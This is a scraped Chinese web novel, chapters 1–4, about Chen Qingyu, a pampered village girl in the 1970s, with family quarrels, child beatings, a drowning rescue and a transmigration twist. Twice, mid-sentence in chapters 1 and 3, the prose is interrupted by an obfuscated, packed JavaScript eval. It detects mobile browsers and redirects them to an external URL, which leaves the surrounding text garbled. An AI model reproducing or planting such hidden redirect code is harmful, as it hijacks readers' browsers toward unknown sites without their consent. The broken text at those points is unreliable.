《年代文大佬勾搭漂亮女配日常》 1. 01 “阿鱼啊,今天这男的怎么样?你们谈的拢不?” 回家路上,李月看着在路边草丛中摘刺李子花的自家闺女,忧心忡忡的问道。了解闺女秉性,这完事一句话不说,指定是不咋成了的。但她还是抱有幻想的多嘴问问。 今儿相的小伙子各方面条件都不错,比前些天相的那个要好太多。这要是错过,就太可惜了。 五月初的太阳温和明媚,并不刺眼。柔和光线洒在身形纤细的女孩身上,脸蛋白嫩的像是刚煮熟的鸡蛋白,细腻的连细小透明的绒毛都能看清。 刺李子从花朵到枝干浑身是刺,花朵粉嫩嫩的,在一丛绿色中格外的扎眼。 陈青鱼掐着花走回路上,低头嗅了嗅,有一丝淡淡的花香。她不甚在意的否定:“妈,他不行。” 李月不解的问:“咋不行了?胜利那孩子我瞅着挺好的。个子不矮,可能就比你四哥要矮一点。长得周周正正的,还在粮食站工作,至少你以后吃应该是不愁的。而且妈托人打听过了,他家里就他一个孩子……” 这年头独生子少得很,大多一生一连串的孩子。关键人年轻,今年才25岁,又是城市户口。 这条件放在相亲市场是很吃香的。据说拖到现在还没结婚,就是眼光高,想找个漂亮的媳妇儿。 那小伙子爸妈也着急,怕香火就搁这断掉了对不起列祖列宗,一心想赶紧把儿子人生大事定下来。所以对儿媳妇娘家的条件就没那么高的要求了,是个女的、儿子能瞧上就行。 絮絮叨叨说了半天,李月不见闺女有反应,没办法妥协:“阿鱼,你总得告诉妈这个不行的原因吧。下回我们好直接避开。” 事关闺女终生大事,当妈的说行不重要。重要的是要看闺女喜不喜欢,不喜欢强逼着也是害了她。 虽然以阿鱼的性子,没人能逼得了。再说了,闺女还年轻,不着急慢慢挑就是。总能挑到一个满意的,实在不行,大不了她和老头子养闺女一辈子,又不是养不起。 陈青鱼撇撇嘴:“他张口闭口就是我妈说,我妈说,我妈说。我想喝个橘子汽水,他来一句:我妈说汽水喝多了对身体不好。扣扣搜搜的,后面我花自己钱买,他又说:我妈说钱要花在刀刃上,你这样是乱花钱。” 听前半截,李月还觉得不是啥大问题,听话又不是坏事; 听到后半截,她眉毛一拉:“啧,那这人确实不行。喝瓶汽水咋啦,又不是花他的钱。这介绍的是啥人啊,第一次见面都舍不得花钱,等以后更不可能舍得花钱了。” “还是我闺女聪明,这种人我们坚决不要。他家里条件好,不花在你身上那就算个屁。” 李月是过来人,说的头头是道。 男人都是精明的,钱攥的死紧。一辈子就看追媳妇儿这事上愿不愿意大方花点钱了,这要是不愿意了。别的时候就不用想了,肯定是没指望的。 还是闺女说得有道理,二十多岁的成年人了还张口闭口就是‘妈妈妈’,跟没断奶的孩子有啥区别。一看就是担不起大事和责任的男人,不要也罢。 “就是就是。妈,不说他了,我们不要为了不相干的人生气。”陈青鱼认真的附和,转过头将耳边戴花的那一面给李月看,笑语盈盈的问,“看我头发上的花戴歪没?” 粉瓣黄蕊的刺李子花被小夹子别在耳朵上方,黑发乌眸,琼鼻红唇,侧着乌黑的辫子,衬得那张小脸愈发娇嫩皎白。一身藏青色长袖长裙,裙摆上白色小花是李月一针一线亲手绣上去的。 陈青鱼从小到大的衣服都是李月做的,知道她爱美,每件衣服上会绣点花花草草小猫小狗什么的小玩意儿。 “没歪没歪,好看的嘞。” 李月越看闺女越满意,笑得眼尾尽是一条条细长的皱纹。这是她生的闺女!瞧瞧这模样,多俊。不是她瞎说,这十里八乡的就没比她闺女长得还俊的女娃娃。 陈青鱼一听,脸上小表情那叫一个嘚瑟啊。走在坎坷不平的泥路上,也悠闲的跟玩儿似的。 这时候,后方泥路弯道处出现一辆自行车,骑车青年一抬眼便瞧见了那张如画般的小脸,眉眼带笑,仿佛眼眸里盛满了璀璨夺目的星星。 身后山清水秀,郁郁葱葱。美好的宛如一副山水画。 青年怔愣片刻,神色很快恢复如旧。按了按自行车铃,目不斜视的骑着自行车逐渐靠近,直到一阵风般的路过了这对说笑着的母女。 发间那一抹粉掠过视线,鼻尖隐约闻到了一股淡淡的清香。 待他远去,陈青鱼凑到李月边上小声嘀咕:“妈,这人谁啊?以前没见过诶,好像不是我们大队的。” 李月只来得及看到一个背影,但那背影一看就不像是乡下干农活的泥腿子,尤其身上还穿着衬衫黑裤,这衣服在乡下很难看到。 她家老头子倒是有一件的确良白衬衫,稀罕的不得了,一年都穿不上几回。唯有要去公社或县城里办事才会拿出来穿。 那自行车看着崭新,车铃声清脆悦耳。 “大队没这号人。”李月摇头,“可能是县城里下来办事的人吧。” 要是大队上谁家买了自行车,她咋可能会没听说。 忽然想起前两天大队又下来了一批城里来的知青,估摸着应该也不是。那些个知青看着娇生惯养的,实则兜里也没几个钱。 陈青鱼‘哦’了声,没太在意的收回了目光。青年长啥样她没看清,侧脸看着还不错,挺白净的。就是不知道正脸怎么样。 林山大队是离县城最近的大队,走路也就二十多分钟。原本今天母女俩去县城,是想借用大队上的那辆自行车的,但陈父昨儿接了个电话,今天一大早就大队公用的自行车出门了。 几分钟后,错落在田埂上的村落映入眼帘。远远看到村民们在田地里井然有序的弯腰忙碌着,绿油油的农作物一片又一片。 “阿鱼,等下你直接就回家去吧。这会儿离晌午还早,妈去地里干点活能挣一两个工分。”李月随口叮嘱着。 陈青鱼还没说话,就看到对面山坡上冲两人挥手的小侄子陈跃在扯着大嗓门嚷嚷。 “小姑姑!小姑姑!” 陈跃是大哥家最小的孩子,今年五岁。生的虎头虎脑,平时最爱缠着陈青鱼这个小姑姑。说是跟屁虫也不为过。 他旁边围着一群年纪差不多的小孩,跟着此起彼伏的嚷嚷,一时间跟几百只鸭子嘎嘎叫似的。 陈青鱼脑瓜子嗡嗡嗡的,敷衍应付的挥挥手,就缠着李月胳膊撒娇,像个小挂件一样吊在老妈身上。 “妈~都快到饭点了还去地里干嘛呀,咱们回家歇息吧。身体才是最重要的呀。你腿下雨天老是疼,昨晚下了雨今天要不是为了我的事就该在家好好休息一天的。” 李月怜爱的拍拍贴心的小棉袄:“就知道阿鱼最心疼妈了。妈不疼,妈就是去地里看看家里几个不省心的趁我不在偷懒没。下工妈就回来了,放心吧。” 还得是闺女好啊,看看前头生的那些个糟心儿子。小时候一个赛一个调皮捣蛋,长大了要花钱娶媳妇,偏偏娶媳妇成立小家又各有各的破事。 就老大家的两口子勉强省心些。 老二耳根子软,老二媳妇……她都不想说; 老三入赘出去了,眼不见心不烦,老三媳妇也还行; 至于老四,一把年纪了不想结婚,相亲也不去,年初逼急了说出‘遇不到喜欢的女孩宁愿一辈子当老光棍’的浑话。 把老头子气得抡起棍子追撵着老四满村子跑。 陈青鱼劝说不动,只得一个人回家了。她才不要去地里溜达,今天虽是阴天没有太阳,还是闷热闷热的。 前脚到家,后脚在外满山跑的小侄子就屁颠屁颠的跑回来了。 “小姑姑,给你吃桑葚~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765749|174579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他兴奋的跑上前,双手稳稳捧着一把红得发紫的桑葚,甚至用翠绿桑叶垫着。 说话间露出黑紫的小牙齿,门牙缺着漏风。 陈青鱼在舀水洗凉水脸,冰冰凉凉的井水是前一天晚上家里男人去村口水井挑回来倒在石缸里的。听到小侄子说话,她眼睛没睁开。 “放瓢里吧。” 洗完随意用晾衣杆上的毛巾擦了擦脸,这是她专属的毛巾。低头看见小侄子乖巧蹲在眼前,脸蛋脏兮兮的,眼睛又黑又亮。头上还顶着一根干枯的杂草。 她嫌弃的捻去那杂草,指着洗过脸的水盆,“哎呀,你好脏啊。自己把脸洗洗,没洗干净不要往我边上凑。” 陈跃伸出紫一块黑一块的小手挠挠头,丝毫没察觉小姑姑的不高兴,猛得一下就把脸埋进盆里,兴奋的像只小牛犊子扑腾着水。 溅了一地水。 陈青鱼默默离的远些,用清水淘洗木瓢里的桑葚,端着走下屋檐去浇墙角长出了花骨朵的月月红。看到趴在院门外偷偷看的三两个孩子,是村里的小孩,也是小侄子的玩伴。 被发现了几个小孩羞涩笑笑,纷纷喊人:“姐姐。” 其中两个和陈青鱼还有亲戚关系,都姓陈。按辈分该喊姨,但陈青鱼不爱听他们这样喊,说这样喊会把她喊老了。 “小牛,二兰,米粥,你们仨蹲在这儿干嘛?找小跃跃出去玩的?” 二兰点头又摇头,从洗得发白的衣服兜里摸出几颗挤压出汁水的桑葚,仰起脸蛋说:“姐姐,你要吃吗?我们刚在山上摘的。” 在山上她吃了好几颗,可甜啦。带回家也吃不到她嘴里,妈妈只会让她给两个弟弟留着。 另外俩小孩纷纷掏兜。 显然三小孩没有陈跃有经验,兜里桑葚被挤得扁扁的。小手都是紫色的汁水。看着就焉巴巴的,脏兮兮的。 陈青鱼拒绝了,将木瓢放低了角度给小孩们看:“你们吃吧,小跃跃给我带了。” 话刚说完,陈跃顶着一脸水跑出来,小大人似的叉腰不满的纠正。 “啊啊啊,说多少遍了你们不许喊我小姑姑姐姐!你们应该跟着我喊小姑姑!” 小孩子自有小孩子的理儿。喊他小姑姑喊姐姐,那他陈跃岂不是比他们几个矮一辈分了。 “我小姑姑吃我带回家的桑葚就够了,才不会要你们的。” 边上的米粥反驳:“我听姐姐的,陈跃你说的不管用。” 米粥姓米,和陈家没有亲戚关系。但两家是挨着一堵土墙的邻居,跟陈跃是一年出生的,两小孩从小就要好。 “嗯嗯。姐姐喜欢我们喊她姐姐,你也可以跟我们一起喊呀。”小牛傻呵呵的说。 陈跃下意识的朝他小姑姑看去,见小姑姑笑眯眯的摸了摸小伙伴脑袋瓜,瘪嘴不吭声儿了。他要是真喊‘姐姐’了,回家奶第一个揍的就是他。 屁股开花。 江小牛这个蠢蛋! 陈青鱼累了一上午,这会只想坐着休息吃桑葚,扔下一句“嗯嗯,粥粥真可爱。谢谢你们的桑葚呀,留着自己吃,你们出去玩儿去吧,我回屋了”。 应付小孩什么的,她最在行了。 潇洒离去。 被落在的三小孩大眼瞪小眼,陈跃圆鼓鼓的眼睛瞪着米粥,率先发问:“小姑姑为什么摸你脑袋!”本来想说他洗了脸蛋,米粥比他脏。 仔细一看,米粥小伙伴除了手心有桑葚染紫的颜色,小身板干干净净的,小脸好像比他还白净…… 可恶啊,大家明明都一起在外面疯玩的,为啥米粥比他们仨都要白! 米粥双手捧着脸,无辜道:“不知道呀,可能是我可爱叭~” 陈跃攥着小拳头想扑过去跟他打一架,但想到小姑姑刚进屋不想惹得小姑姑生气,想了想还是算了。 哼,他是乖孩子,才不要跟米粥计较。 2. 02 临近中午,大队办公室大喇叭响起下工的通知声。 陈家是大嫂二嫂轮流做饭干家务,陈青鱼是不会做饭的。尽管两个嫂子私下或多或少有怨言,但有李月这婆婆在头上压着,两人自是不敢造次。 今天轮到陈家二嫂刘招娣做饭。匆匆下工到家,见着木瓢里放着一小把新鲜的桑葚,不自觉的吞咽口水。左看右看没瞧见家里有人,伸手抓了几颗飞快扔进嘴里。 甜滋滋的,越看越想吃。手蠢蠢欲动,被门口传来的脚步声吓了一跳,以为是爸妈回来了。转过身舔着脸想说话。 发现是自己那两个不争气的女儿,拖着一小捆干柴的陈花花和陈灵儿姐妹俩,一个一小捆干柴,一个背着背篓。眼睛长得相似,一看就是亲姐妹。 刘招娣见是两个讨债鬼女儿,恼着脸骂道:“一天天就知道在外面鬼混,回来了也不知道吱个声,哑巴了啊!你妈我每天累死累活,干完地里又要回来做饭,你俩倒好,变着法儿的偷闲。” 顺手抄起靠墙的扫帚就朝两人打去。 陈花花身形不稳还是将妹妹护在身后,颤着嗓音解释:“妈,我和灵儿没有偷闲。是我回来路上摔了一跤……”就耽搁了回家的时间。 陈灵儿惦记着姐姐脚受伤,猛得蹿出来挡在最面前,硬生生用瘦弱身躯挨下了那几棍。疼得她攥紧了衣角,宁愿咬着牙不喊痛。 刘招娣生长在乡下,农村妇女力气一点不小。 见两人互相护着,顿时火气更盛。下手愈发重了,“好啊你们两个是一伙的,我看你们眼里就没有我这个妈!看我不打死你们……” 两姐妹仅差一岁多,打小就感情好。 后背阵阵痛意,陈灵儿看不到属于未来的希望,眼前在姐姐的哭喊声中逐渐发黑。却依旧坚持挡在姐姐前面。 姐姐保护了她十多年,这次轮到她来保护姐姐了。 “妈,是我错了,下次我一定按时回家,求求你别打妹妹了……” 陈青鱼在睡觉,被院子里的动静吵醒了。她对两个嫂子小家的事情不感兴趣,管多了会有意见,但属实有些见不惯二嫂这般作践两个侄女。 有时候她搞不懂二嫂是什么想法。 自己在家当孩子吃太多苦,就知道女儿家过得不容易,难道不应该更加疼爱自己生的女儿吗?偏偏刘招娣对俩女儿从没好脸色过,常常是非打即骂。 不像是母女,更像是有着血海深仇的敌人。两女儿就跟她的坏情绪发泄桶一样,动不动就上手发泄。 “二嫂,爸妈快回来了。” 陈青鱼推开木窗,望着院子中央说话。她没帮姐妹俩说话,清楚面上帮了反而会给两人带来麻烦。 在她看不到的地方,刘招娣有数不清的法子折腾人。 刘招娣扬在半空中的扫帚僵硬落下,收敛了怒气,挤出笑容打招呼:“青鱼在家啊。” 她对陈青鱼这个被公婆捧在手心里的小姑子很有意见,陈家没有分家,小姑子在家白吃白喝,就当是在花她的钱般让人痛心。 上面有公婆压着,她家男人也跟被猪油蒙了心一样护着这妹妹。平时要多说几句小姑子坏话,男人不理解还骂她不懂事。 刘招娣不敢明面上得罪,最多就背地里恶骂几句。 陈青鱼见她说话间露出被染紫的牙齿,想到留在木瓢的桑葚,微微蹙眉。二嫂应该不会那么没数,把桑葚全吃了吧。 小跃跃带回来的桑葚不多,她没吃多少,想着给家里人留着。别看乡下野果啥的很多,但架不住这年头穷、到处都缺粮食啊。别说零嘴了,一年到头能吃点甜的都难。 山上能吃的野果还没成熟,就早早进孩子们肚子里了。 这桑葚还是长在靠深山丛林那边摘的,许是离村子远些,大人不让自家孩子往山里去,就没被发现。一棵桑树长得枝繁叶茂的,树叶下挂满了红红紫紫的桑葚。 陈青鱼走出屋子,见木瓢里桑葚有减少还在接受范围内。给姐妹俩各抓了三五颗,轻声安抚:“花花,灵儿,这小跃跃摘回来的。不多,每个人就几颗哦。” “谢谢小姑姑。”陈花花没敢吃,抹着泪连忙查看妹妹的情况,“灵儿,灵儿你还好吗?” “姐,我没事。” 陈灵儿脑袋发晕,还是跟着虚声道谢。见姐姐没吃,眼眶发酸的盯着手心里的桑葚。 看着就很甜,她此时特别想尝尝,哪怕一颗也好。 陈青鱼给两人分完,就想端着木瓢回屋。她说了‘每个人都有’,要是姐妹俩还是要上交给刘招娣,那就不关她的事儿了。 下一秒被刘招娣叫住,搓手笑呵呵的伸手讨要:“那什么青鱼,我的呢?” 陈青鱼缓缓回头:? “二嫂,你的不是已经被你吃进肚子里了吗?”她似笑非笑的说。 刘招娣心里咯噔一下,以为她看到自己偷吃桑葚了,怕她跟李月告状连忙辩解:“呵呵,那啥怪我回来太口渴了,一个没忍住就拿了几颗来吃。青鱼,二婶没多拿啊,就两三颗。” 全家人都知晓刘招娣爱占小便宜的臭德行,陈青鱼也懒得跟她废话。 这时候陈家人陆陆续续回来了,索性没回屋,端着木瓢坐在屋檐下的小木凳上,挨个给桑葚。 “妈,大嫂,这是小跃跃摘的桑葚,可甜啦。” 大嫂张慧擦擦手,听小姑子说桑葚每人都有也没刻意给谁省着留着。吃一颗眼里满是笑意,言语间充斥着对自个儿孩子的骄傲。 “嗯,是甜。小跃这孩子整天在外面跑来跑去,这也不知道去哪儿摘的。小妹,看到他又跑哪儿疯去了?” “不知道。应该是和米粥他们出去了。” 李月没吃,把桑葚塞回闺女手心里:“妈不爱吃甜的,阿鱼吃。” “我不信。”陈青鱼哪能贪这点吃的,接过桑葚反手直接递回她嘴边,一本正经的说,“没人会不爱吃甜的。” 李月无奈吃掉桑葚,嘴里甜,心里更甜。回头看到磨磨唧唧还没去做饭的老二媳妇正从两孙女手中夺吃的歪嘴脸,火气‘噌’一下就上来了。 这糟心玩意儿,一天不闹事都不行。 冲上去一巴掌重重招呼到她背上:“刘招娣,我看你皮痒了找打。当妈的还跟 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陈青鱼没想到陈花花有伤,把小木凳踢过去,“花花先坐下。” 陈灵儿扶着姐姐坐下。 陈花花把脚放在屋檐台阶上,方便看伤口些。 张慧‘哎哟’一声,担心道:“这么大条口子,咋伤的啊?妈,这怕是要去队上赤脚大夫那儿包扎一下吧。” 一听要花钱,刘招娣就不干了。 “包什么包,浪费那钱做什么。不就一条口子吗,过几天就好了。大嫂你也是,大惊小怪的作甚。”乡下孩子谁不是磕磕绊绊着长大的。 张慧见婆婆脸色发黑,识趣的没接话。有时二弟妹挨骂是自找的,好歹是亲生的,不关心就算了还说这话。 陈花花面色难掩受伤,声若蚊蝇:“奶,大伯母,我没事。不用去。” 尽管从小就知晓刘招娣不喜欢她和妹妹,这时候大伯母帮她说话,心里头还是难受又委屈。 陈青鱼不想参与即将到来的吵架,抢先开口:“妈,我和灵儿带花花去看大夫吧。”顺便帮陈灵儿看看。 李月对几个孙子孙女一视同仁。 会疼爱小女儿多一些,无非是因为老来得女,偏生小女儿打小就生的跟糯米团子似的招人稀罕。不像前面四个儿子那几年屁事贼多,让老两口操碎了心。 “行,快去吧。钱的话妈之后补上。灵儿,扶着点你姐,别再伤着脚底了。” “嗯嗯。” 三人还没走远,就听到身后院子鸡飞狗跳的动静声,穿插着李月拔高的怒骂声。 陈青鱼注意到姐妹俩过分安静,怕她们静下来胡思乱想,“花花,灵儿,把桑葚吃了。放手里都捏坏了。下回有吃的就赶紧吃进嘴里,知道嘛。” 不及时吃嘴里,迟早会被两人亲妈薅过去。 陈灵儿摊开手心,汁水从指缝间浸透。一点不嫌弃的把压扁的桑葚塞进嘴里,细细咀嚼。 她仰起苍白小脸,眼眸沉沉的,抿唇腼腆笑了。 “小姑姑,桑葚和我想的一样甜诶。” 3. 03 得知孙女陈灵儿一身棍棒痕迹,刘招娣被李月再次狠狠削了一顿,暂且消停安分了。 陈花花脚受伤不好干活,这几天姐妹俩就在家里休息着。她不做家务也没闲着,拿着翻旧的课本专心致志的学习。 “小姑姑,我可以进来吗?” 陈青鱼在趴着看小人书,闻声头也没抬:“进来。找我干嘛呀?” 养了几天伤,陈花花脚底伤口结痂了,走路还是有点一瘸一拐的。她把翻了无数遍的课本放在桌上,忸怩说:“小姑姑,这本课本我看完了。” 陈青鱼瞬间明白大侄女来的目的,夸赞:“厉害呀花花。你自个儿去拿吧,课本都在箱子里呢。” 陈花花脸颊发红,把课本放回去,从里面挑了高二上下的两本数学课本。高一年纪的课本她都看完了,相比平平淡淡的语文,更喜欢动脑筋的数学。 见她挑了自己最讨厌的数学,陈青鱼咂舌:“花花,你不去上学太可惜了。”要她说,家里最适合读书的是陈花花才对,就这股子学习劲儿,是几个侄子身上都没有的。 陈青鱼也不爱念书,但喜欢看小人书和故事书等课外书籍。 可惜二嫂刘招娣是个拎不清的。 当初陈花花和陈灵儿差点小学都没得读。还是李月一锤定音,让两孙女一同去队上小学念书了。初高中只在县城里有,刘招娣就死活不肯让姐妹俩去了。 陈灵儿对念书不感兴趣,陈花花是后面主动说不念了。 “小姑姑,有不懂的我能来问你吗?”陈花花瘦黄的脸上浮现笑容,粗糙指腹不断摩挲着光滑的课本封面。 陈青鱼:…… 问她还不如陈花花自己多钻研来的快。 但当长辈的怎么能在小辈面前没面子呢,挺直了些纤细腰杆,昂着下巴点头:“额,当然能。”下一句就飞快转移话题:“花花,你妹妹呢?” “在堂屋和小跃玩石子呢。” 陈青鱼估摸着时间差不多了,放下小人书和陈花花走出屋子,直接走去厨房给水壶灌水。灌好后往里放了几颗水果糖,又给小跃跃和姐妹俩各分了一颗糖。 水果糖是别人送给陈青鱼的。 五月天气渐渐炎热起来,太阳晒得地面发烫。在家闲着的陈青鱼每天多了一项任务,给地里上工的陈家人送水。 “小姑姑,我跟你一起去。” 陈灵儿含着水果糖看到小姑姑拎水壶,蹦哒一下从地上起来。这些天她和姐姐不用去地里干活,只用在家里扫扫地洗洗衣服,再帮着干点别的活儿。 这是她过得最轻松的日子了,心里一点不安定,反倒有些惶惶不安。闲不下来,总想找点事情做。 陈青鱼戴上草帽:“走吧,你身上还疼不?” “不疼啦。”陈灵儿朝姐姐告别,“姐,那我和小姑姑出去了。” “嗯嗯。” 刚走到村口,就碰到打招呼的村民。 “青鱼啊,你和灵儿这是要去哪?” “葛婶子,我们去地里送水。” “孝顺得嘞,我家那俩丫头要有青鱼你一半好,婶子我啊睡觉都能笑醒了。听说你去城里头相亲了,能成不?” “不成。” “哈哈,咋不成捏?是你没上那小伙子吧?”葛婶子一语道中。 陈青鱼笑笑没说话。 之后一路上又碰上村里人问话,笑着回应。她虽没有村里其他年轻女孩子能干活挣工分,但模样说是最俊的一点不为过。 俏生生,白嫩嫩的,比山上削了皮的野梨子还要白净水嫩。 小嘴又会说话哄人的,加上她爸陈远放是干了十多年的大队长。不管是出于什么原因,陈青鱼一个女娃在村里还是很招人喜欢的。 陈青鱼脸都快笑僵硬了,终于来到陈家人上工的田地。所以说她不爱出门,一出门村里婶子大娘们老是喜欢扒拉着她说话。 关键这些人都是从小看着她长大的,不搭话又不太好。 男女体力有差距,不在同一块地里干活。先给妈和嫂子们送水,再辗转去了哥哥们那边。水壶应了大哥的话,放地里了。 陈爸身为大队长,整天忙这忙那,也用不着陈青鱼去送水。 回去路上,陈灵儿望着不远处的小河难得提出要求:“小姑姑,我想去洗脚。” 溪河发源村子后的群山之中,流经村尾。 下工后男人们经常会在溪边光着膀子冲洗,还常见在河边洗衣服的女人。隔三差五还能看到光着屁股在溪水里游泳的男娃子。 这会儿天色尚早,河边安安静静的,唯有水流缓缓淌过。 陈青鱼用路边摘的芭蕉叶往脸上扇风,神情焉巴巴的应声:“热死了,河水该不会也是烫的吧。” 好讨厌夏天啊,又闷又热,小虫子还多。出来半小时,手背也不知道是被啥虫子咬红了。 溪河上方有道木桥,一米左右宽。这边桥头有棵不知名的大树,树下安置着大大小小的石块。农闲时这里常常聚满村民,吹着山风闲聊村里发生的乐事。 陈青鱼走到树荫下,蹲下用手搅了搅溪水,温温热热的。 一旁的陈灵儿踩在水边石头上,开心的往裸露在外的皮肤上浇水。 这时,河对面的村尾路过两人,为首的年长男人给年轻人交代着什么。年长的是大队长陈远放,年轻人是前些天来插队的知青。 “……郁知青啊,以后在队里有需要尽管来找我,能帮忙的我这个大队长一定帮。就是我们这儿条件就这样,受苦受累是无法避免的。” 陈远放语重心长的说,眼里情绪复杂。 原以为这批知青和先头的那些没两样,他对知青心底是不咋欢迎的。这些年来的知青给各大队带来不少麻烦和破事,闹心得很。就隔壁的红星大队,去年队上两个男的因为一女知青打起来了,互相砸的满头是血,其中一个瘫床上成废人了。 事情闹的很大,女知青最后被下放到更穷苦偏僻的地方去了。那男的也坐牢了,后半生算是毁了。 红星大队跟着倒霉,被公社领导当众批评,文志刚那老家伙被骂的抬不起头,差点直接被撸下岗了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765751|174579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两年,红星大队评优那些是没望了。 这回见知青里来了长得好的男知青,陈远放又得了公社那边的消息,明里暗里说这位郁同志背后的家世不一般。这次下乡对人家来说就是过渡期,说不定很快就会回去了。 完全是个烫手山芋,他头都要大了啊。这怎么就分到他所在的大队里了!!!只盼着女知青们和村里年轻女人们安分踏实些,别乱作妖了。 郁行语气平淡,始终和大队长保持着一定距离。 “嗯,接下来麻烦大队长了。” 青年脸生的极好,白净俊秀却一点不显得文弱女气。身形挺拔修长,脊背挺得直直的,仿佛冬日里狂风暴雪也压不弯的松柏。 陈远放对郁知青整体蛮满意的,出身好,身上半点没有城里人那股子高傲气。长得也好,一看未来就是有大造化的。 若不是那家世横跨在中间,他还有点想让小闺女和郁知青认识认识呢。这两人站一块儿,噎嗓子的饭都能多吃两口。 当然,这念头陈远放一闪而过,没放在心上。 想到家里的小女儿,陈远放和蔼面容上笑眯了眼。下一秒瞥见远处溪边玩水的两人,停下了脚步。 “嘿,这两丫头大下午的在外面玩啥水啊,真是,也不嫌热。”他自言自语说着。 身边郁行循着他的视线望去,那道纤细身影映入眼帘。刹那间想起了那天回村路上遇见的女孩子,淡淡清香仿佛回到鼻尖。 这几天他没住知青屋,也没去地里上工。去县城忙事情了,今天才弄完,接下来要在林山大队定下来了。 这一趟还是他第一次在村里闲逛。 郁行心头一动:“大队长,这两位是队上的?” 陈远放豪爽大笑,随口给他介绍:“哈哈哈,站着的是我小闺女陈青鱼,地上那个是我孙女陈灵儿。两丫头应该是刚给家里人送了水。” 说话间,两人同时看到蹲着的陈灵儿毫无预兆的栽进了河水里,河面上甚至不见扑腾几下。 陈青鱼庆幸自己离得近,听到了噗通的落水声,惊呼着跑过去:“灵儿!”发现陈灵儿没动静,脑袋逐渐消失在水面。 仅犹豫一秒,她脱鞋跳进了河里。 犹豫是因为她不会游泳,下河是周围除她没别人了。现去村里喊人来不及,陈灵儿比她小六岁,可以说是看着这个侄女从小不点长大的。 要什么都不做眼睁睁看着亲人淹死在眼前。 即使是向来没心没肺的陈青鱼,也做不到。 意外来的太突然,容不得陈远放和郁行多说。拔腿就冲那方向跑去,一边大声喊道:“阿鱼!灵儿!” 我嘞个老天爷,这咋一眨眼俩都没了啊!当爹的再了解自家闺女了,家里人娇惯着就没下过水。 这跳下去哪是救人啊,分明是给他增加难度。陈远放两眼发黑,在心里祈盼着小闺女和孙女坚持住啊。 陈远放慌忙之际,不忘回头说一句。 “郁、郁知青,你快回去帮我喊话,让大家伙儿通知我家里人。” 4. 04 陈青鱼恢复意识这一刻,脑袋又晕又涨,身子软绵绵的难受得要死。脑子里还多了一本来自未来的小说,耳边闹哄哄她只来得及粗略看了眼重点。 好消息:主角是她侄女陈灵儿。 坏消息:此陈灵儿非彼陈灵儿。 书中那意思,是这次落水导致现代那同名同姓的‘陈灵儿’灵魂穿到了侄女陈灵儿身体里。貌似还对她这个小姑姑有不满和敌意,觉得她是扒在陈家身上的吸血虫。 哦,还有个把她当提款机的男主。 进脑要素太多,陈青鱼睁眼后呆呆的,有点没反应过来。 啥、啥玩意儿来着? 她狗似的追在男主屁股后面跑? 注意力时刻放在闺女身上的李月,第一个发现她醒来了。见她一句话不说,神情好似被吓到了的模样。 一把把闺女紧紧搂在怀里,边喜极而泣,边抹着眼角嗔骂:“你这丫头终于醒了,你是要吓死妈啊!妈就你一个闺女,你要是没了让妈怎么活啊。” “你说你又不会水,一头栽进去作甚啊。回个家的茬儿你俩就搞出这事来,还好你爸就在边上看到了,要不然……” 光是想想,她就心肝俱裂。 见老伴越说越不像话,陈远放连忙打断:“孩子醒了就好,你还说这晦气话干啥。一点都不吉利。” 李月骂归骂,担心小女儿身体是真,立马拍拍嘴:“呸呸呸,妈不说了。阿鱼啊,你感觉咋样?有没有哪儿不舒服?” “妈,我没事。你先松开我。”陈青鱼被搂的快要喘不过气儿来,艰难推了推她的肩膀。 令人幸福又窒息的母爱啊。 李月松开了手臂,仍坐在床边爱怜的摸着白遭罪一场小女儿白生生的脸颊,瞧着都没啥精气神。心间对孙女有了点怨气,虽说对孩子们一视同仁,但难免有亲疏之分。 隔辈的孙女和亲生的小闺女,就算是玉皇大帝来了也会偏向后者。 陈青鱼不知老母亲心中所想,眼下有更重要的事情确认。环视屋子没见到陈花花姐妹,“爸妈,灵儿醒了没?” 想到陈灵儿落水时的悄无声息,她莫名眼皮直跳。那会儿几分钟前陈灵儿还冲她笑来着,怎么就那么突然的落水了。 李月一心扑在闺女这儿,哪还顾得上别人。听到这话转头问傻愣愣杵在屋里的老大陈根,“还不去看看你侄女醒没,真是半点眼力见都没有。” 刚巧张慧从二弟二弟妹房里出来报好消息,看到小姑子也醒来了,笑着说:“小妹醒了啊。根哥不用去看了,刚刚灵儿也醒来了。” 她没说的是,感觉那侄女醒来有些疯疯癫癫的。不知是不是在水里磕到了脑袋。 李月想起下午看到被救起来时那孙女的惨状,好歹松了口气:“醒了就成。阿鱼你好好歇着,妈过去看一眼。”她又吩咐老大媳妇:“去把锅里温着的糖水鸡蛋端来,灵儿的让她姐去端。” 那丫头要真有点事,阿鱼指不定有多难受和自责呢。 陈青鱼原本想过去探虚实,但身子不想动弹,想着早看晚看都一样就没动了。 见闺女醒了,陈远放悬着心落地了。外边还有事需要他去办,“闺女,你和灵儿落水多亏队上的郁知青搭把手,人家帮了这么大个忙。你老实在家休息,爸出去招呼下。” 郁知青?没听说过。 陈青鱼警惕问:“男的?我和灵儿不需要嫁给他吧?” 这年头这种事常见,就她听说过的就不少。她读高二那年,村里王婶子家的小莲姐在河边洗衣服不慎落水,被路过的寡夫救了。 早年丧妻的男人三十多岁,家里还有四个年幼的孩子。后面不知咋谈的,小莲姐嫁过去给人当后妈了。都在一个村子,前些天陈青鱼还见到她,二十岁的年纪,满脸沧桑和疲惫。 